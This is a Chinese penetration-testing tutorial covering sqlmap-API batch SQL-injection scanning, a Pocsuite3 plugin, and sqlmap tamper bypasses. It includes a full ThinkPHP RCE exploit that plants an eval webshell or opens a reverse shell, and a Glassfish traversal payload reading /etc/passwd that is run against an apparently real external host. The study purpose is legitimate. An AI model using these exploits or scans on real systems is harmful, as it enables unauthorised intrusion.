本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
# 知识点:
# 目的:
演示案例:
- Sqlmap_Tamper 模块脚本编写绕过滤
- SqlmapAPI 调用实现自动化 SQL 注入安全检测
- Pocsuite3 漏扫框架二次开发 POC/EXP 引入使用
案例1 - SqlmapAPI 调用实现自动化 SQL 注入安全检测
开发当前项目过程:(利用 sqlmapapi 接口实现批量 URL 注入安全检测)
- 创建新任务记录任务 ID @get("/task/new")
- 设置任务 ID 扫描信息 @post("/option/<taskid>/set ")
- 开始扫描对应 ID 任务 @post("/scan/<taskid>/start")
- 读取扫描状态判断结果 @get("/scan/<taskid>/status")
- 如果结束删除 ID 并获取结果 @get("/task/<taskid>/delete")
- 扫描结果查看@get("/scan/<taskid>/data")
实现步骤:
前提安装了sqlilabs靶场:http://127.0.0.1/sqlilabs/Less-2/?id=1 在浏览器中打开测试靶场是否安装成功
sqlmap 下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
安装步骤:详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客
测试能否访问
1)开启sqlmap的api服务端
下载完sqlmap后解压然后在sqlmap的安装目录下打开cmd ->输入:python sqlmapapi.py -s
2) 创建一个新的任务ID
import requests # 这个模块是来发送网络请求的
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8') # 使用requests模块发送get请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
print(result)
代码运行后,查看cmd
完善一下代码,取出任务ID
import requests # 这个模块是来发送网络请求的
import json # 导入json模块
# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8') # 使用requests模块发送get请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid'] # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)
3) 设置任务ID的配置信息(扫描信息)
我这里把sqlilabs靶场作为目标扫描,需要安装的可以安装下步骤很简单:《SQL注入—Sqli-labs注入环境搭建》_sqlilabs环境搭建_susu苏打水的博客-CSDN博客
import requests # 这个模块是来发送网络请求的
import json # 导入json模块
# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8') # 使用requests模块发送get请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid'] # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)
# 2、设置任务ID的配置信息(扫描信息)
data = { # 设置请求参数
'url':'http://127.0.0.1/sqlilabs/Less-2/?id=1' # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data) # json.dumps()方法将数据转换成json
headers = { # 设置请求头
'Content-Type':'application/json' # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set' # 设置扫描的url
task_set_resp = requests.post(task_set_url,data=data,headers=headers).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_set_resp)
4)启动扫描对应ID的任务
import requests # 这个模块是来发送网络请求的
import json # 导入json模块
# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8') # 使用requests模块发送get请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid'] # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)
# 2、设置任务ID的配置信息(扫描信息)
data = { # 设置请求参数
'url':'http://127.0.0.1/sqlilabs/Less-2/?id=1' # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data) # json.dumps()方法将数据转换成json
headers = { # 设置请求头
'Content-Type':'application/json' # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set' # 设置扫描的url
task_set_resp = requests.post(task_set_url,data=data,headers=headers).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
# print(task_set_resp)
# 3、启动扫描对应ID的任务
task_start_url = f'http://127.0.0.1:8775/scan/{task_id}/start'
task_start_resp = requests.post(task_start_url,data=data,headers=headers).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_start_resp)
5)获取对应ID的扫描状态然后判断结果
import requests # 这个模块是来发送网络请求的
import json # 导入json模块
# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8') # 使用requests模块发送get请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid'] # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)
# 2、设置任务ID的配置信息(扫描信息)
data = { # 设置请求参数
'url':'http://127.0.0.1/sqlilabs/Less-2/?id=1' # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data) # json.dumps()方法将数据转换成json
headers = { # 设置请求头
'Content-Type':'application/json' # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set' # 设置扫描的url
task_set_resp = requests.post(task_set_url,data=data,headers=headers).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
# print(task_set_resp)
# 3、启动扫描对应ID的任务
task_start_url = f'http://127.0.0.1:8775/scan/{task_id}/start'
task_start_resp = requests.post(task_start_url,data=data,headers=headers).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
# print(task_start_resp)
# 4、获取对应ID的扫描状态然后判断结果
task_status_url = f'http://127.0.0.1:8775/scan/{task_id}/status'
task_status_resp = requests.get(task_start_url).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_status_resp)
if 'running' in task_status_resp: # 如果返回结果中包含running,就说明还没有扫描完成
print('程序还在扫描中...')
# print(task_status_resp)
else: # 否则再次获取结果
task_data_url = f'{url}/scan/{task_id}/data'
task_data_resp = requests.get(task_data_url).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_data_resp)
到这个一步运行代码你就会发现出现问题了返回的结果都是空的,原因分析:结果还没有扫描出来我们就获取并打印了返回结果,而且我们现在的程序每次运行都会创建新的任务ID,所以我们要写个判断如果任务ID已经存在,那就不用再创建了
6)代码优化
- 上面的每一步都设置了判断
- 设置了批量扫描,并将存在sql注入的url存入本地的文件中
- 设置了多线程提高运行速度
注意:要获取扫描结果,前提是你的目标url是可以访问的,如果是向我这样目标是本地的漏洞靶场,要保证你的靶场是可以访问的。
import time
import requests # 这个模块是来发送网络请求的
import json # 导入json模块
import threading # 导入threading模块实现多线程
import queue # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
def sqlmapapi():
# .empty()如果队列为空,返回 True,否则返回 False
while not q.empty(): # while 循环 not(非,反转) 真为假,假为真
url_i = q.get() # 获取队列,timeout等待时间
sqlmapapi_url = 'http://127.0.0.1:8775' # sqlmapapi服务器的url
data = { # 设置请求参数
'url': url_i # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data) # json.dumps()方法将数据转换成json
headers = { # 设置请求头
'Content-Type': 'application/json' # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = f'{sqlmapapi_url}/task/new'
result = requests.get(task_new_url).content.decode('utf-8') # 使用requests模块发送get请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid'] # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
print(result)
if 'success' in result: # 判断success这个字符如果在存在result(请求的响应结果),那就证明已经有任务ID了,就不用再创建了
print("任务ID已创建!")
# 2、设置任务ID的配置信息(扫描信息)
task_set_url = f'{sqlmapapi_url}/option/{task_id}/set' # 设置扫描的url
task_set_resp = requests.post(task_set_url, data=data, headers=headers).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
if 'success' in task_set_resp:
print("任务ID的配置信息已设置!")
# 3、启动扫描对应ID的任务
task_start_url = f'{sqlmapapi_url}/scan/{task_id}/start'
task_start_resp = requests.post(task_start_url, data=data, headers=headers).content.decode(
'utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
if 'success' in task_start_resp:
print("扫描任务启动成功")
# 4、获取对应ID的扫描状态
while 1: # 设置无限循环,直到扫描出结果再手动退出
task_status_url = f'{sqlmapapi_url}/scan/{task_id}/status'
task_status_resp = requests.get(task_status_url).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
if 'running' in task_status_resp: # 如果返回结果中包含running,就说明还没有扫描完成
print(f'正在在扫描中{url_i}...')
# print(task_status_resp)
else: # 否则再次获取结果
task_data_url = f'{sqlmapapi_url}/scan/{task_id}/data'
task_data_resp = requests.get(task_data_url).content.decode('utf-8') # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
with open('scan_result.txt','a+',encoding='UTF-8') as f: # with open 操作文件,完成后会自动关闭文件,a 追加文件内容,如文件不存在哪就创建再追加
f.write(f'==========python sqlmapapi {url_i} =========='+'\n')
f.write(f'扫描结果:{task_data_resp}\n') # write() 写入文件
#print('delete taskid')
scan_deltask_url = 'http://127.0.0.1:8775/task/' + task_id + '/delete' # 扫描完成后删除任务ID解除内存的占用
scan_deltask = requests.get(scan_deltask_url).content.decode('utf-8')
if 'success' in scan_deltask:
print('删除任务成功')
break # 退出循环
time.sleep(0.5) # 设置延时0.5秒,给程序扫描漏洞一点时间
if __name__ == '__main__':
q = queue.Queue() # 创建队列
for url in open('url.txt'): # 遍历url.txt获取目标url
url = url.replace('\n','') # replace() 替换字符串,这里是将换行替换为空
q.put(url) # 向队列中插入元素(目标url)
for x in range(5): # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
t = threading.Thread(target=sqlmapapi) # 创建线程对象,target=执行目标任务名
t.start() # 启动线程,让他开始工作
案例3 - Pocsuite3 漏扫框架二次开发 POC/EXP 引入使用
开发当前项目过程:(利用已知框架增加引入最新或内部的 EXP 进行安全检测)
- 熟悉 Pocsuite3 项目使用及介绍
- 熟悉使用命令及代码文件对应情况
- 选取 Glassfish 漏洞进行编写测试
- 参考自带漏洞模版代码模仿写法测试
- python cli.py -u x.x.x.x -r Glassfish.py --verify
Pocsuite3源码随便找个目录下解压
Pocsuite3安装依赖:
pip install requests requests-toolbelt
pip install pyreadline # 如果是windows系统就要安装这个包
-
进入解压好的文件目录:
/pocsuite3-master/pocsuite3
-
在pocsuite3目录下输入命令:
python cli.py -h
不出意外的话会报错
安装完这个模块继续使用,还是会报错会有很多次都是说找不到模块按照提示安装就好,需要注意的是我刚才安装到socks这个模块时我已经安装成功了但还是报错
python cli.py -h
解决方法:使用前先更新requests版本为支持socks的版本。(来源)
pip install -U requests[socks]
最后终于安装成功
案例实现步骤:
1)pocsuite3-master\pocsuite3\pocs目录下创建一个Glassfish_poc.py文件
然后将thinkphp_rce.py的代码复制到我们创建的Glassfish_poc.py文件中对他进行二次开发
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit https://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
vulID = '97715' # ssvid
version = '1.0'
author = ['chenghs']
vulDate = '2018-12-09'
createDate = '2018-12-10'
updateDate = '2018-12-10'
references = ['https://www.seebug.org/vuldb/ssvid-97715']
name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)'
appPowerLink = 'http://www.thinkphp.cn/'
appName = 'thinkphp'
appVersion = 'thinkphp5.1.31'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新
,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
pocDesc = '''攻击模式下将会生成一个一句话shell,成功返回shell地址,shell密码为pass'''
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
def _check(self, url):
flag = 'Registered PHP Streams'
data = OrderedDict([
("function", "call_user_func_array"),
("vars[0]", "phpinfo"),
("vars[1][]", "-1")
])
payloads = [
r"/?s=admin/\think\app/invokefunction",
r"/admin.php?s=admin/\think\app/invokefunction",
r"/index.php?s=admin/\think\app/invokefunction",
r"/?s=index/\think\Container/invokefunction",
r"/index.php?s=index/\think\Container/invokefunction",
r"/index.php?s=index/\think\app/invokefunction"
]
for payload in payloads:
vul_url = url + payload
r = requests.post(vul_url, data=data)
if flag in r.text:
return payload, dict(data)
return False
def _verify(self):
result = {}
p = self._check(self.url)
if p:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = p[0]
result['VerifyInfo']['Postdata'] = p[1]
return self.parse_output(result)
def _attack(self):
result = {}
filename = random_str(6) + ".php"
webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>'''
p = self._check(self.url)
if p:
data = p[1]
data["vars[1][]"] = "echo%20%27{content}%27%20>%20{filename}".format(filename=filename,
content=quote(webshell))
data["vars[0]"] = "system"
vulurl = self.url + p[0]
requests.post(vulurl, data=data)
r = requests.get(self.url + "/" + filename)
if r.status_code == 200 and "green day" in r.text:
result['ShellInfo'] = {}
result['ShellInfo']['URL'] = self.url + "/" + filename
result['ShellInfo']['Content'] = webshell
if not result:
vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}"
vulurl = vulurl.format(filename=filename, content=quote(webshell))
requests.get(vulurl)
r = requests.get(self.url + "/" + filename)
if r.status_code == 200 and "green day" in r.text:
result['ShellInfo'] = {}
result['ShellInfo']['URL'] = self.url + "/" + filename
result['ShellInfo']['Content'] = webshell
return self.parse_output(result)
def _shell(self):
# cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
cmd = self.get_option("command")
p = self._check(self.url)
if p:
data = p[1]
data["vars[0]"] = "system"
data["vars[1][]"] = cmd
vulurl = self.url + p[0]
requests.post(vulurl, data=data)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
2)修改_verify()方法(验证目标是否存在漏洞),这里修改成验证应用服务器glassfish任意文件读取漏洞(如果需要详细了解这个漏洞可以看这篇:Python 开发-批量 Fofa&SRC 提取&POC 验证)
改动如下:
def _verify(self): # verify 模式:验证目标是否存在漏洞
result = {}
poc_url = self.url
payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
resp = requests.get(poc_url + payload_linux) # 发送网络请求,如果存在应用服务器glassfish任意文件读取漏洞就能请求成功,返回对应的文件信息
try:
if resp.status_code == 200: # 判断状态码,200就是成功,存在漏洞
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = poc_url
result['VerifyInfo']['Payload'] = payload_linux
except Exception as e:
pass
return self.parse_output(result)
在cmd的/pocsuite3-master/pocsuite3目录下传入参数运行代码(就是刚才安装第三方包的目录)
cli.py -u http://ceph.espot.com.cn:4848 -r Glassfish_poc.py --verify
注意:这一步也会出现报错,跟上面一样根据意思安装包就可以了,有些包安装不成功就百度一下,因为有些包实际的包名称也错误提示的名称不一样。
最终漏洞扫描结果
案例3 、Sqlmap_Tamper 模块脚本编写绕过滤
这个案例是基于案例1的基础上实现的,在我们之前下载的SqlmapAPI 这个文件中包含了一下过滤脚本,目录:\sqlmapproject-sqlmap-80dc67f\tamper
脚本介绍(原文)
apostrophemask.py
作用:将引号替换为UTF-8,用于过滤单引号
base64encode.py
作用:替换为base64编码
multiplespaces.py
作用:围绕SQL关键词添加多个空格
space2plus.py
作用:使用+号替换空格
nonrecursivereplacement.py
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常强的自定义过滤器,例如将SELECT替换为空)
space2randomblank.py
作用:将空格替换为其他有效字符
unionalltounion.py
作用:将UNION ALL SELECT替换为UNION SELECT
securesphere.py
作用:追加特制的字符串
space2hash.py
作用:将空格替换为#号,并随机添加一个字符串和换行符
space2mssqlblank.py(MsSQL)
作用:将空格替换为其他空符号
space2mssqlhash.py
作用:将空格替换为#号,并添加一个换行符
between.py
作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)
percentage.py
作用:ASP允许在每个字符前添加一个%号
sp_password.py
作用:从DBMS日记的自动模糊处理的有效载荷中添加sp_password
charencode.py
作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
randomcase.py
作用:随机大小写
charunicodeencode.py
作用:字符串unicode编码
space2comment.py
作用:将空格替换为/**/
equaltolike.py
作用:将等号替换为like
greatest.py
作用:绕过对“>”的过滤,用GREATEST替换大于号
ifnull2ifisnull.py
作用:绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py
作用:过滤空格,使用MySQL内联注释的方式进行注入
space2mysqlblank.py
作用:将空格替换为其他空白符号(适用于MySQL)
modsecurityzeroversioned.py
作用:使用MySQL内联注释的方式(/*!00000*/)进行注入
space2mysqldash.py
作用:将空格替换为--,并添加一个换行符
bluecoat.py
作用:在SQL语句后用有效的随机空白符替换空格,随后用LIKE替换等号
versionedkeywords.py
作用:注释绕过
halfversionedmorekeywords.py
作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
space2morehash.py
作用:将空格替换为#号,并添加一个随机字符串和换行符
apostrophenullencode.py
作用:用非法双字节unicode字符串替换单引号
appendnullbyte.py
作用:在有效负荷的结束位置添加零字节字符编码
chardoubleencode.py
作用:对给定的Payload全部字符使用双重URL编码(不处理已编码的字符)
unmagicquotes.py
作用:使用一个多字节组合(%bf%27)和末尾通用注释一起替换掉空格
randomcomments.py
作用:用/**/分割SQL关键字
脚本分类说明(原文)
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
all | 1 | apostrophemask.py | 用utf8代替引号 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
2 | base64encode.py | 用base64编码替换 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' | |
4 | space2plus.py | 用+替换空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters | ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' | |
8 | securesphere.py | 追加特制的字符串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" | |
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
4 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | |
5 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' | |
8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' | |
5 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | |
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
8 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ('1 AND 2>1--') '1 /*!00000AND 2>1*/--' | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' | |
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' | |
12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# | |
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# | |
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
